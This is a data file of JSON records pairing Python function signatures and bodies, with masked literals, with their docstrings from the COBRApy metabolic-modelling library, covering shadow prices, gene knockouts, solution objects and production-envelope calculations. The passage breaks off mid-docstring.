{"signature": "@property<EOL><INDENT>def y(self):<DEDENT>", "body": "warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return self.shadow_price<EOL>", "docstring": "The shadow price for the metabolite in the most recent solution\n\n        Shadow prices are computed from the dual values of the bounds in\n        the solution.", "id": "f15899:c0:m6"}
{"signature": "@property<EOL><INDENT>def shadow_price(self):<DEDENT>", "body": "try:<EOL><INDENT>check_solver_status(self._model.solver.status)<EOL>return self._model.constraints[self.id].dual<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\".format(self.id))<EOL><DEDENT>except (RuntimeError, OptimizationError) as err:<EOL><INDENT>raise_with_traceback(err)<EOL><DEDENT>except Exception as err:<EOL><INDENT>raise_from(OptimizationError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(str(err))), err)<EOL><DEDENT>", "docstring": "The shadow price in the most recent solution.\n\nShadow price is the dual value of the corresponding constraint in the\nmodel.\n\nWarnings\n--------\n* Accessing shadow prices through a `Solution` object is the safer,\n  preferred, and only guaranteed to be correct way. You can see how to\n  do so easily in the examples.\n* Shadow price is retrieved from the currently defined\n  `self._model.solver`. The solver status is checked but there are no\n  guarantees that the current solver state is the one you are looking\n  for.\n* If you modify the underlying model after an optimization, you will\n  retrieve the old optimization values.\n\nRaises\n------\nRuntimeError\n    If the underlying model was never optimized beforehand or the\n    metabolite is not part of a model.\nOptimizationError\n    If the solver status is anything other than 'optimal'.\n\nExamples\n--------\n>>> import cobra\n>>> import cobra.test\n>>> model = cobra.test.create_test_model(\"textbook\")\n>>> solution = model.optimize()\n>>> model.metabolites.glc__D_e.shadow_price\n-0.09166474637510488\n>>> solution.shadow_prices.glc__D_e\n-0.091664746375104883", "id": "f15899:c0:m7"}
{"signature": "def remove_from_model(self, destructive=False):", "body": "self._model.remove_metabolites(self, destructive)<EOL>", "docstring": "Removes the association from self.model\n\n        The change is reverted upon exit when using the model as a context.\n\n        Parameters\n        ----------\n        destructive : bool\n            If False then the metabolite is removed from all\n            associated reactions.  If True then all associated\n            reactions are removed from the Model.", "id": "f15899:c0:m8"}
{"signature": "def summary(self, solution=None, threshold=<NUM_LIT>, fva=None, names=False,<EOL>floatfmt='<STR_LIT>'):", "body": "from cobra.flux_analysis.summary import metabolite_summary<EOL>return metabolite_summary(self, solution=solution, threshold=threshold,<EOL>fva=fva, names=names, floatfmt=floatfmt)<EOL>", "docstring": "Print a summary of the production and consumption fluxes.\n\nThis method requires the model for which this metabolite is a part\nto be solved.\n\nParameters\n----------\nsolution : cobra.Solution, optional\n    A previously solved model solution to use for generating the\n    summary. If none provided (default), the summary method will\n    resolve the model. Note that the solution object must match the\n    model, i.e., changes to the model such as changed bounds,\n    added or removed reactions are not taken into account by this\n    method.\nthreshold : float, optional\n    Threshold below which fluxes are not reported.\nfva : pandas.DataFrame, float or None, optional\n    Whether or not to include flux variability analysis in the output.\n    If given, fva should either be a previous FVA solution matching\n    the model or a float between 0 and 1 representing the\n    fraction of the optimum objective to be searched.\nnames : bool, optional\n    Emit reaction and metabolite names rather than identifiers (default\n    False).\nfloatfmt : string, optional\n    Format string for floats (default '.3g').", "id": "f15899:c0:m9"}
{"signature": "def __call__(cls, *args, **kwargs):", "body": "if cls not in cls._instances:<EOL><INDENT>cls._instances[cls] = super(Singleton, cls).__call__(*args,<EOL>**kwargs)<EOL><DEDENT>return cls._instances[cls]<EOL>", "docstring": "Override an inheriting class' call.", "id": "f15900:c0:m0"}
{"signature": "def __getstate__(self):", "body": "state = Object.__getstate__(self)<EOL>state['<STR_LIT>'] = set()<EOL>return state<EOL>", "docstring": "Remove the references to container reactions when serializing to\n        avoid problems associated with recursion.", "id": "f15903:c0:m2"}
{"signature": "def copy(self):", "body": "return deepcopy(self)<EOL>", "docstring": "When copying a reaction, it is necessary to deepcopy the\n        components so the list references aren't carried over.\n\n        Additionally, a copy of a reaction is no longer in a cobra.Model.\n\n        This should be fixed with self.__deepcopy__ if possible", "id": "f15903:c0:m3"}
{"signature": "def ast2str(expr, level=<NUM_LIT:0>, names=None):", "body": "if isinstance(expr, Expression):<EOL><INDENT>return ast2str(expr.body, <NUM_LIT:0>, names)if hasattr(expr, \"<STR_LIT:body>\") else \"<STR_LIT>\"<EOL><DEDENT>elif isinstance(expr, Name):<EOL><INDENT>return names.get(expr.id, expr.id) if names else expr.id<EOL><DEDENT>elif isinstance(expr, BoolOp):<EOL><INDENT>op = expr.op<EOL>if isinstance(op, Or):<EOL><INDENT>str_exp = \"<STR_LIT>\".join(ast2str(i, level + <NUM_LIT:1>, names)<EOL>for i in expr.values)<EOL><DEDENT>elif isinstance(op, And):<EOL><INDENT>str_exp = \"<STR_LIT>\".join(ast2str(i, level + <NUM_LIT:1>, names)<EOL>for i in expr.values)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" + op.__class__.__name)<EOL><DEDENT>return \"<STR_LIT:(>\" + str_exp + \"<STR_LIT:)>\" if level else str_exp<EOL><DEDENT>elif expr is None:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" + repr(expr))<EOL><DEDENT>", "docstring": "convert compiled ast to gene_reaction_rule str\n\n    Parameters\n    ----------\n    expr : str\n        string for a gene reaction rule, e.g \"a and b\"\n    level : int\n        internal use only\n    names : dict\n        Dict where each element id a gene identifier and the value is the\n        gene name. Use this to get a rule str which uses names instead. This\n        should be done for display purposes only. All gene_reaction_rule\n        strings which are computed with should use the id.\n\n    Returns\n    ------\n    string\n        The gene reaction rule", "id": "f15904:m0"}
{"signature": "def eval_gpr(expr, knockouts):", "body": "if isinstance(expr, Expression):<EOL><INDENT>return eval_gpr(expr.body, knockouts)<EOL><DEDENT>elif isinstance(expr, Name):<EOL><INDENT>return expr.id not in knockouts<EOL><DEDENT>elif isinstance(expr, BoolOp):<EOL><INDENT>op = expr.op<EOL>if isinstance(op, Or):<EOL><INDENT>return any(eval_gpr(i, knockouts) for i in expr.values)<EOL><DEDENT>elif isinstance(op, And):<EOL><INDENT>return all(eval_gpr(i, knockouts) for i in expr.values)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" + op.__class__.__name__)<EOL><DEDENT><DEDENT>elif expr is None:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\" + repr(expr))<EOL><DEDENT>", "docstring": "evaluate compiled ast of gene_reaction_rule with knockouts\n\n    Parameters\n    ----------\n    expr : Expression\n        The ast of the gene reaction rule\n    knockouts : DictList, set\n        Set of genes that are knocked out\n\n    Returns\n    -------\n    bool\n        True if the gene reaction rule is true with the given knockouts\n        otherwise false", "id": "f15904:m1"}
{"signature": "def parse_gpr(str_expr):", "body": "str_expr = str_expr.strip()<EOL>if len(str_expr) == <NUM_LIT:0>:<EOL><INDENT>return None, set()<EOL><DEDENT>for char, escaped in replacements:<EOL><INDENT>if char in str_expr:<EOL><INDENT>str_expr = str_expr.replace(char, escaped)<EOL><DEDENT><DEDENT>escaped_str = keyword_re.sub(\"<STR_LIT>\", str_expr)<EOL>escaped_str = number_start_re.sub(\"<STR_LIT>\", escaped_str)<EOL>tree = ast_parse(escaped_str, \"<STR_LIT>\", \"<STR_LIT>\")<EOL>cleaner = GPRCleaner()<EOL>cleaner.visit(tree)<EOL>eval_gpr(tree, set())  <EOL>return tree, cleaner.gene_set<EOL>", "docstring": "parse gpr into AST\n\n    Parameters\n    ----------\n    str_expr : string\n        string with the gene reaction rule to parse\n\n    Returns\n    -------\n    tuple\n        elements ast_tree and gene_ids as a set", "id": "f15904:m2"}
{"signature": "@property<EOL><INDENT>def functional(self):<DEDENT>", "body": "return self._functional<EOL>", "docstring": "A flag indicating if the gene is functional.\n\n        Changing the flag is reverted upon exit if executed within the model\n        as context.", "id": "f15904:c1:m1"}
{"signature": "def knock_out(self):", "body": "self.functional = False<EOL>for reaction in self.reactions:<EOL><INDENT>if not reaction.functional:<EOL><INDENT>reaction.bounds = (<NUM_LIT:0>, <NUM_LIT:0>)<EOL><DEDENT><DEDENT>", "docstring": "Knockout gene by marking it as non-functional and setting all\n        associated reactions bounds to zero.\n\n        The change is reverted upon exit if executed within the model as\n        context.", "id": "f15904:c1:m3"}
{"signature": "def remove_from_model(self, model=None,<EOL>make_dependent_reactions_nonfunctional=True):", "body": "warn(\"<STR_LIT>\")<EOL>if model is not None:<EOL><INDENT>if model != self._model:<EOL><INDENT>raise Exception(\"<STR_LIT>\" %<EOL>(repr(self), repr(self._model), repr(model)))<EOL><DEDENT><DEDENT>if self._model is None:<EOL><INDENT>raise Exception('<STR_LIT>' % repr(self))<EOL><DEDENT>if make_dependent_reactions_nonfunctional:<EOL><INDENT>gene_state = '<STR_LIT:False>'<EOL><DEDENT>else:<EOL><INDENT>gene_state = '<STR_LIT:True>'<EOL><DEDENT>the_gene_re = re.compile('<STR_LIT>' %<EOL>re.escape(self.id))<EOL>associated_groups = self._model.get_associated_groups(self)<EOL>for group in associated_groups:<EOL><INDENT>group.remove_members(self)<EOL><DEDENT>self._model.genes.remove(self)<EOL>self._model = None<EOL>for the_reaction in list(self._reaction):<EOL><INDENT>the_reaction._gene_reaction_rule = the_gene_re.sub(<EOL>gene_state, the_reaction.gene_reaction_rule)<EOL>the_reaction._genes.remove(self)<EOL>the_gene_reaction_relation = the_reaction.gene_reaction_rule<EOL>for other_gene in the_reaction._genes:<EOL><INDENT>other_gene_re = re.compile('<STR_LIT>' %<EOL>re.escape(other_gene.id))<EOL>the_gene_reaction_relation = other_gene_re.sub(<EOL>'<STR_LIT:True>',<EOL>the_gene_reaction_relation)<EOL><DEDENT>if not eval(the_gene_reaction_relation):<EOL><INDENT>the_reaction.lower_bound = <NUM_LIT:0><EOL>the_reaction.upper_bound = <NUM_LIT:0><EOL><DEDENT><DEDENT>self._reaction.clear()<EOL>", "docstring": "Removes the association\n\n        Parameters\n        ----------\n        model : cobra model\n           The model to remove the gene from\n        make_dependent_reactions_nonfunctional : bool\n           If True then replace the gene with 'False' in the gene\n           association, else replace the gene with 'True'\n\n\n        .. deprecated :: 0.4\n            Use cobra.manipulation.delete_model_genes to simulate knockouts\n            and cobra.manipulation.remove_genes to remove genes from\n            the model.", "id": "f15904:c1:m4"}
{"signature": "def get_solution(model, reactions=None, metabolites=None, raise_error=False):", "body": "check_solver_status(model.solver.status, raise_error=raise_error)<EOL>if reactions is None:<EOL><INDENT>reactions = model.reactions<EOL><DEDENT>if metabolites is None:<EOL><INDENT>metabolites = model.metabolites<EOL><DEDENT>rxn_index = list()<EOL>fluxes = empty(len(reactions))<EOL>reduced = empty(len(reactions))<EOL>var_primals = model.solver.primal_values<EOL>shadow = empty(len(metabolites))<EOL>if model.solver.is_integer:<EOL><INDENT>reduced.fill(nan)<EOL>shadow.fill(nan)<EOL>for (i, rxn) in enumerate(reactions):<EOL><INDENT>rxn_index.append(rxn.id)<EOL>fluxes[i] = var_primals[rxn.id] - var_primals[rxn.reverse_id]<EOL><DEDENT>met_index = [met.id for met in metabolites]<EOL><DEDENT>else:<EOL><INDENT>var_duals = model.solver.reduced_costs<EOL>for (i, rxn) in enumerate(reactions):<EOL><INDENT>forward = rxn.id<EOL>reverse = rxn.reverse_id<EOL>rxn_index.append(forward)<EOL>fluxes[i] = var_primals[forward] - var_primals[reverse]<EOL>reduced[i] = var_duals[forward] - var_duals[reverse]<EOL><DEDENT>met_index = list()<EOL>constr_duals = model.solver.shadow_prices<EOL>for (i, met) in enumerate(metabolites):<EOL><INDENT>met_index.append(met.id)<EOL>shadow[i] = constr_duals[met.id]<EOL><DEDENT><DEDENT>return Solution(model.solver.objective.value, model.solver.status,<EOL>Series(index=rxn_index, data=fluxes, name=\"<STR_LIT>\"),<EOL>Series(index=rxn_index, data=reduced,<EOL>name=\"<STR_LIT>\"),<EOL>Series(index=met_index, data=shadow, name=\"<STR_LIT>\"))<EOL>", "docstring": "Generate a solution representation of the current solver state.\n\nParameters\n---------\nmodel : cobra.Model\n    The model whose reactions to retrieve values for.\nreactions : list, optional\n    An iterable of `cobra.Reaction` objects. Uses `model.reactions` by\n    default.\nmetabolites : list, optional\n    An iterable of `cobra.Metabolite` objects. Uses `model.metabolites` by\n    default.\nraise_error : bool\n    If true, raise an OptimizationError if solver status is not optimal.\n\nReturns\n-------\ncobra.Solution\n\nNote\n----\nThis is only intended for the `optlang` solver interfaces and not the\nlegacy solvers.", "id": "f15905:m0"}
{"signature": "def __init__(self, objective_value, status, fluxes, reduced_costs=None,<EOL>shadow_prices=None, **kwargs):", "body": "super(Solution, self).__init__(**kwargs)<EOL>self.objective_value = objective_value<EOL>self.status = status<EOL>self.fluxes = fluxes<EOL>self.reduced_costs = reduced_costs<EOL>self.shadow_prices = shadow_prices<EOL>", "docstring": "Initialize a `Solution` from its components.\n\nParameters\n----------\nobjective_value : float\n    The (optimal) value for the objective function.\nstatus : str\n    The solver status related to the solution.\nfluxes : pandas.Series\n    Contains the reaction fluxes (primal values of variables).\nreduced_costs : pandas.Series\n    Contains reaction reduced costs (dual values of variables).\nshadow_prices : pandas.Series\n    Contains metabolite shadow prices (dual values of constraints).", "id": "f15905:c0:m0"}
{"signature": "def __repr__(self):", "body": "if self.status != OPTIMAL:<EOL><INDENT>return \"<STR_LIT>\".format(self.status, id(self))<EOL><DEDENT>return \"<STR_LIT>\".format(self.objective_value,<EOL>id(self))<EOL>", "docstring": "String representation of the solution instance.", "id": "f15905:c0:m1"}
{"signature": "def __getitem__(self, reaction_id):", "body": "return self.fluxes[reaction_id]<EOL>", "docstring": "Return the flux of a reaction.\n\nParameters\n----------\nreaction : str\n    A model reaction ID.", "id": "f15905:c0:m3"}
{"signature": "def to_frame(self):", "body": "return DataFrame({'<STR_LIT>': self.fluxes,<EOL>'<STR_LIT>': self.reduced_costs})<EOL>", "docstring": "Return the fluxes and reduced costs as a data frame", "id": "f15905:c0:m4"}
{"signature": "def __init__(self, f, x=None, x_dict=None, y=None, y_dict=None,<EOL>solver=None, the_time=<NUM_LIT:0>, status='<STR_LIT>', **kwargs):", "body": "super(LegacySolution, self).__init__(**kwargs)<EOL>self.solver = solver<EOL>self.f = f<EOL>self.x = x<EOL>self.x_dict = x_dict<EOL>self.status = status<EOL>self.y = y<EOL>self.y_dict = y_dict<EOL>", "docstring": "Initialize a `LegacySolution` from an objective value.\n\nParameters\n----------\nf : float\n    Objective value.\nsolver : str, optional\n    A string indicating which solver package was used.\nx : iterable, optional\n    List or Array of the fluxes (primal values).\nx_dict : dict, optional\n    A dictionary of reaction IDs that maps to the respective primal\n    values.\ny : iterable, optional\n    List or Array of the dual values.\ny_dict : dict, optional\n    A dictionary of reaction IDs that maps to the respective dual\n    values.\nthe_time : int, optional\nstatus : str, optional\n\n.. warning :: deprecated", "id": "f15905:c1:m0"}
{"signature": "def __repr__(self):", "body": "if self.status != \"<STR_LIT>\":<EOL><INDENT>return \"<STR_LIT>\".format(<EOL>self.status, id(self))<EOL><DEDENT>return \"<STR_LIT>\".format(<EOL>self.f, id(self))<EOL>", "docstring": "String representation of the solution instance.", "id": "f15905:c1:m1"}
{"signature": "def __getitem__(self, reaction_id):", "body": "return self.x_dict[reaction_id]<EOL>", "docstring": "Return the flux of a reaction.\n\nParameters\n----------\nreaction_id : str\n    A reaction ID.", "id": "f15905:c1:m2"}
{"signature": "def dress_results(self, model):", "body": "warn(\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>", "docstring": "Method could be intended as a decorator.\n\n.. warning :: deprecated", "id": "f15905:c1:m3"}
{"signature": "@contextmanager<EOL>def captured_output():", "body": "new_out, new_err = StringIO(), StringIO()<EOL>old_out, old_err = sys.stdout, sys.stderr<EOL>try:<EOL><INDENT>sys.stdout, sys.stderr = new_out, new_err<EOL>yield sys.stdout, sys.stderr<EOL><DEDENT>finally:<EOL><INDENT>sys.stdout, sys.stderr = old_out, old_err<EOL><DEDENT>", "docstring": "A context manager to test the IO summary methods.", "id": "f15923:m0"}
{"signature": "def check_line(output, expected_entries,<EOL>pattern=re.compile(r\"<STR_LIT>\")):", "body": "output_set = set(<EOL>pattern.sub(\"<STR_LIT>\", line) for line in output.splitlines())<EOL>for elem in expected_entries:<EOL><INDENT>assert pattern.sub(\"<STR_LIT>\", elem) in output_set<EOL><DEDENT>", "docstring": "Ensure each expected entry is in the output.", "id": "f15923:m1"}
{"signature": "def check_in_line(output, expected_entries,<EOL>pattern=re.compile(r\"<STR_LIT>\")):", "body": "output_strip = [pattern.sub(\"<STR_LIT>\", line) for line in<EOL>output.splitlines()]<EOL>for elem in expected_entries:<EOL><INDENT>assert any(<EOL>pattern.sub(\"<STR_LIT>\", elem) in line for line in output_strip),\"<STR_LIT>\".format(pattern.sub(\"<STR_LIT>\", elem),<EOL>\"<STR_LIT:\\n>\".join(output_strip))<EOL><DEDENT>", "docstring": "Ensure each expected entry is contained in the output.", "id": "f15923:m2"}
{"signature": "def same_ex(ex1, ex2):", "body": "return ex1.simplify() == ex2.simplify()<EOL>", "docstring": "Compare to expressions for mathematical equality.", "id": "f15933:m0"}
{"signature": "def compare_models(model_1, model_2):", "body": "assert len(model_1.reactions) == len(model_2.reactions)<EOL>assert len(model_1.metabolites) == len(model_2.metabolites)<EOL>assert len(model_1.genes) == len(model_2.genes)<EOL>assert model_1.objective.direction == model_2.objective.direction<EOL>for attr in (\"<STR_LIT:id>\", \"<STR_LIT:name>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>assert getattr(model_1.reactions[<NUM_LIT:0>], attr) == getattr(<EOL>model_2.reactions[<NUM_LIT:0>], attr)<EOL>assert getattr(model_1.reactions[<NUM_LIT:5>], attr) == getattr(<EOL>model_2.reactions[<NUM_LIT:5>], attr)<EOL>assert getattr(model_1.reactions[-<NUM_LIT:1>], attr) == getattr(<EOL>model_2.reactions[-<NUM_LIT:1>], attr)<EOL><DEDENT>for attr in (\"<STR_LIT:id>\", \"<STR_LIT:name>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>assert getattr(model_1.metabolites[<NUM_LIT:0>], attr) == getattr(<EOL>model_2.metabolites[<NUM_LIT:0>], attr)<EOL>assert getattr(model_1.metabolites[<NUM_LIT:5>], attr) == getattr(<EOL>model_2.metabolites[<NUM_LIT:5>], attr)<EOL>assert getattr(model_1.metabolites[-<NUM_LIT:1>], attr) == getattr(<EOL>model_2.metabolites[-<NUM_LIT:1>], attr)<EOL>assert len(model_1.reactions[<NUM_LIT:0>].metabolites) == len(<EOL>model_2.reactions[<NUM_LIT:0>].metabolites)<EOL><DEDENT>assert len(model_1.reactions[<NUM_LIT:8>].metabolites) == len(<EOL>model_2.reactions[<NUM_LIT:8>].metabolites)<EOL>assert len(model_1.reactions[-<NUM_LIT:1>].metabolites) == len(<EOL>model_2.reactions[-<NUM_LIT:1>].metabolites)<EOL>assert len(model_1.genes) == len(model_2.genes)<EOL>solution_1 = model_1.optimize()<EOL>solution_2 = model_2.optimize()<EOL>assert abs(solution_1.objective_value -<EOL>solution_2.objective_value) == pytest.approx(<NUM_LIT:0.0>)<EOL>assert model_1.metabolites[<NUM_LIT:0>]._model is model_1<EOL>assert model_2.metabolites[<NUM_LIT:0>]._model is model_2<EOL>assert model_1.reactions[<NUM_LIT:0>]._model is model_1<EOL>assert model_2.reactions[<NUM_LIT:0>]._model is model_2<EOL>assert model_1.genes[<NUM_LIT:0>]._model is model_1<EOL>assert model_2.genes[<NUM_LIT:0>]._model is model_2<EOL>", "docstring": "Compare two models (only for testing purposes).", "id": "f15942:m1"}
{"signature": "def _check_sbml_annotations(model):", "body": "assert model is not None<EOL>annotation = model.annotation<EOL>assert annotation is not None<EOL>assert len(annotation) == <NUM_LIT:3><EOL>for key in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>assert key in annotation<EOL><DEDENT>assert annotation[\"<STR_LIT>\"] == \"<STR_LIT>\"<EOL>assert annotation[\"<STR_LIT>\"] == \"<STR_LIT>\"<EOL>assert annotation[\"<STR_LIT>\"] == \"<STR_LIT>\"<EOL>annotation = model.genes.G1.annotation<EOL>assert len(annotation) == <NUM_LIT:5><EOL>for key in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>assert key in annotation<EOL><DEDENT>assert annotation[\"<STR_LIT>\"] == \"<STR_LIT>\"<EOL>assert annotation[\"<STR_LIT>\"] == \"<STR_LIT>\"<EOL>assert annotation[\"<STR_LIT>\"] == \"<STR_LIT>\"<EOL>assert annotation[\"<STR_LIT>\"] == \"<STR_LIT>\"<EOL>assert annotation[\"<STR_LIT>\"] == \"<STR_LIT>\"<EOL>annotation = model.metabolites.A.annotation<EOL>for key in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>assert key in annotation<EOL><DEDENT>assert annotation[<EOL>\"<STR_LIT>\"] == \"<STR_LIT>\"  <EOL>annotation = model.reactions.R1.annotation<EOL>for key in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>assert key in annotation<EOL><DEDENT>assert annotation[\"<STR_LIT>\"] == '<STR_LIT>'<EOL>", "docstring": "Checks the annotations from the annotation.xml.", "id": "f15946:m0"}
{"signature": "def production_envelope(model, reactions, objective=None, carbon_sources=None,<EOL>points=<NUM_LIT:20>, threshold=None):", "body": "reactions = model.reactions.get_by_any(reactions)<EOL>objective = model.solver.objective if objective is None else objective<EOL>data = dict()<EOL>if carbon_sources is None:<EOL><INDENT>c_input = find_carbon_sources(model)<EOL><DEDENT>else:<EOL><INDENT>c_input = model.reactions.get_by_any(carbon_sources)<EOL><DEDENT>if c_input is None:<EOL><INDENT>data['<STR_LIT>'] = None<EOL><DEDENT>elif hasattr(c_input, '<STR_LIT:id>'):<EOL><INDENT>data['<STR_LIT>'] = c_input.id<EOL><DEDENT>else:<EOL><INDENT>data['<STR_LIT>'] = '<STR_LIT:U+002CU+0020>'.join(rxn.id for rxn in c_input)<EOL><DEDENT>threshold = normalize_cutoff(model, threshold)<EOL>size = points ** len(reactions)<EOL>for direction in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>data['<STR_LIT>'.format(direction)] = full(size, nan, dtype=float)<EOL>data['<STR_LIT>'.format(direction)] = full(<EOL>size, nan, dtype=float)<EOL>data['<STR_LIT>'.format(direction)] = full(<EOL>size, nan, dtype=float)<EOL><DEDENT>grid = pd.DataFrame(data)<EOL>with model:<EOL><INDENT>model.objective = objective<EOL>objective_reactions = list(sutil.linear_reaction_coefficients(model))<EOL>if len(objective_reactions) != <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>c_output = objective_reactions[<NUM_LIT:0>]<EOL>min_max = fva(model, reactions, fraction_of_optimum=<NUM_LIT:0>)<EOL>min_max[min_max.abs() < threshold] = <NUM_LIT:0.0><EOL>points = list(product(*[<EOL>linspace(min_max.at[rxn.id, \"<STR_LIT>\"],<EOL>min_max.at[rxn.id, \"<STR_LIT>\"],<EOL>points, endpoint=True) for rxn in reactions]))<EOL>tmp = pd.DataFrame(points, columns=[rxn.id for rxn in reactions])<EOL>grid = pd.concat([grid, tmp], axis=<NUM_LIT:1>, copy=False)<EOL>add_envelope(model, reactions, grid, c_input, c_output, threshold)<EOL><DEDENT>return grid<EOL>", "docstring": "Calculate the objective value conditioned on all combinations of\n    fluxes for a set of chosen reactions\n\n    The production envelope can be used to analyze a model's ability to\n    produce a given compound conditional on the fluxes for another set of\n    reactions, such as the uptake rates. The model is alternately optimized\n    with respect to minimizing and maximizing the objective and the\n    obtained fluxes are recorded. Ranges to compute production is set to the\n    effective\n    bounds, i.e., the minimum / maximum fluxes that can be obtained given\n    current reaction bounds.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to compute the production envelope for.\n    reactions : list or string\n        A list of reactions, reaction identifiers or a single reaction.\n    objective : string, dict, model.solver.interface.Objective, optional\n        The objective (reaction) to use for the production envelope. Use the\n        model's current objective if left missing.\n    carbon_sources : list or string, optional\n       One or more reactions or reaction identifiers that are the source of\n       carbon for computing carbon (mol carbon in output over mol carbon in\n       input) and mass yield (gram product over gram output). Only objectives\n       with a carbon containing input and output metabolite is supported.\n       Will identify active carbon sources in the medium if none are specified.\n    points : int, optional\n       The number of points to calculate production for.\n    threshold : float, optional\n        A cut-off under which flux values will be considered to be zero\n        (default model.tolerance).\n\n    Returns\n    -------\n    pandas.DataFrame\n        A data frame with one row per evaluated point and\n\n        - reaction id : one column per input reaction indicating the flux at\n          each given point,\n        - carbon_source: identifiers of carbon exchange reactions\n\n        A column for the maximum and minimum each for the following types:\n\n        - flux: the objective flux\n        - carbon_yield: if carbon source is defined and the product is a\n          single metabolite (mol carbon product per mol carbon feeding source)\n        - mass_yield: if carbon source is defined and the product is a\n          single metabolite (gram product per 1 g of feeding source)\n\n    Examples\n    --------\n    >>> import cobra.test\n    >>> from cobra.flux_analysis import production_envelope\n    >>> model = cobra.test.create_test_model(\"textbook\")\n    >>> production_envelope(model, [\"EX_glc__D_e\", \"EX_o2_e\"])", "id": "f15948:m0"}
{"signature": "def total_yield(input_fluxes, input_elements, output_flux, output_elements):", "body": "carbon_input_flux = sum(<EOL>total_components_flux(flux, components, consumption=True)<EOL>for flux, components in zip(input_fluxes, input_elements))<EOL>carbon_output_flux = total_components_flux(<EOL>output_flux, output_elements, consumption=False)<EOL>try:<EOL><INDENT>return carbon_output_flux / carbon_input_flux<EOL><DEDENT>except ZeroDivisionError:<EOL><INDENT>return nan<EOL><DEDENT>", "docstring": "Compute total output per input unit.\n\nUnits are typically mol carbon atoms or gram of source and product.\n\nParameters\n----------\ninput_fluxes : list\n    A list of input reaction fluxes in the same order as the\n    ``input_components``.\ninput_elements : list\n    A list of reaction components which are in turn list of numbers.\noutput_flux : float\n    The output flux value.\noutput_elements : list\n    A list of stoichiometrically weighted output reaction components.\n\nReturns\n-------\nfloat\n    The ratio between output (mol carbon atoms or grams of product) and\n    input (mol carbon atoms or grams of source compounds).", "id": "f15948:m2"}
{"signature": "def reaction_elements(reaction):", "body": "c_elements = [coeff * met.elements.get('<STR_LIT:C>', <NUM_LIT:0>)<EOL>for met, coeff in iteritems(reaction.metabolites)]<EOL>return [elem for elem in c_elements if elem != <NUM_LIT:0>]<EOL>", "docstring": "Split metabolites into the atoms times their stoichiometric coefficients.\n\nParameters\n----------\nreaction : Reaction\n    The metabolic reaction whose components are desired.\n\nReturns\n-------\nlist\n    Each of the reaction's metabolites' desired carbon elements (if any)\n    times that metabolite's stoichiometric coefficient.", "id": "f15948:m3"}
{"signature": "def reaction_weight(reaction):", "body": "if len(reaction.metabolites) != <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>met, coeff = next(iteritems(reaction.metabolites))<EOL>return [coeff * met.formula_weight]<EOL>", "docstring": "Return the metabolite weight times its stoichiometric coefficient.", "id": "f15948:m4"}
{"signature": "def total_components_flux(flux, components, consumption=True):", "body": "direction = <NUM_LIT:1> if consumption else -<NUM_LIT:1><EOL>c_flux = [elem * flux * direction for elem in components]<EOL>return sum([flux for flux in c_flux if flux > <NUM_LIT:0>])<EOL>", "docstring": "Compute the total components consumption or production flux.\n\nParameters\n----------\nflux : float\n    The reaction flux for the components.\ncomponents : list\n    List of stoichiometrically weighted components.\nconsumption : bool, optional\n    Whether to sum up consumption or production fluxes.", "id": "f15948:m5"}
{"signature": "def find_carbon_sources(model):", "body": "try:<EOL><INDENT>model.slim_optimize(error_value=None)<EOL><DEDENT>except OptimizationError:<EOL><INDENT>return []<EOL><DEDENT>reactions = model.reactions.get_by_any(list(model.medium))<EOL>reactions_fluxes = [<EOL>(rxn, total_components_flux(rxn.flux, reaction_elements(rxn),<EOL>consumption=True)) for rxn in reactions]<EOL>return [rxn for rxn, c_flux in reactions_fluxes if c_flux > <NUM_LIT:0>]<EOL>", "docstring": "Find all active carbon source reactions.\n\nParameters\n----------\nmodel : Model\n    A genome-scale metabolic model.\n\nReturns\n-------\nlist\n   The medium reactions with carbon input flux.", "id": "f15948:m6"}
{"signature": "def assess(model, reaction, flux_coefficient_cutoff=<NUM_LIT>, solver=None):", "body": "reaction = model.reactions.get_by_any(reaction)[<NUM_LIT:0>]<EOL>with model as m:<EOL><INDENT>m.objective = reaction<EOL>if _optimize_or_value(m, solver=solver) >= flux_coefficient_cutoff:<EOL><INDENT>return True<EOL><DEDENT>else:<EOL><INDENT>results = dict()<EOL>results['<STR_LIT>'] = assess_component(<EOL>model, reaction, '<STR_LIT>', flux_coefficient_cutoff)<EOL>results['<STR_LIT>'] = assess_component(<EOL>model, reaction, '<STR_LIT>', flux_coefficient_cutoff)<EOL>return results<EOL><DEDENT><DEDENT>", "docstring": "Assesses production capacity.\n\n    Assesses the capacity of the model to produce the precursors for the\n    reaction and absorb the production of the reaction while the reaction is\n    operating at, or above, the specified cutoff.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The cobra model to assess production capacity for\n\n    reaction : reaction identifier or cobra.Reaction\n        The reaction to assess\n\n    flux_coefficient_cutoff :  float\n        The minimum flux that reaction must carry to be considered active.\n\n    solver : basestring\n        Solver name. If None, the default solver will be 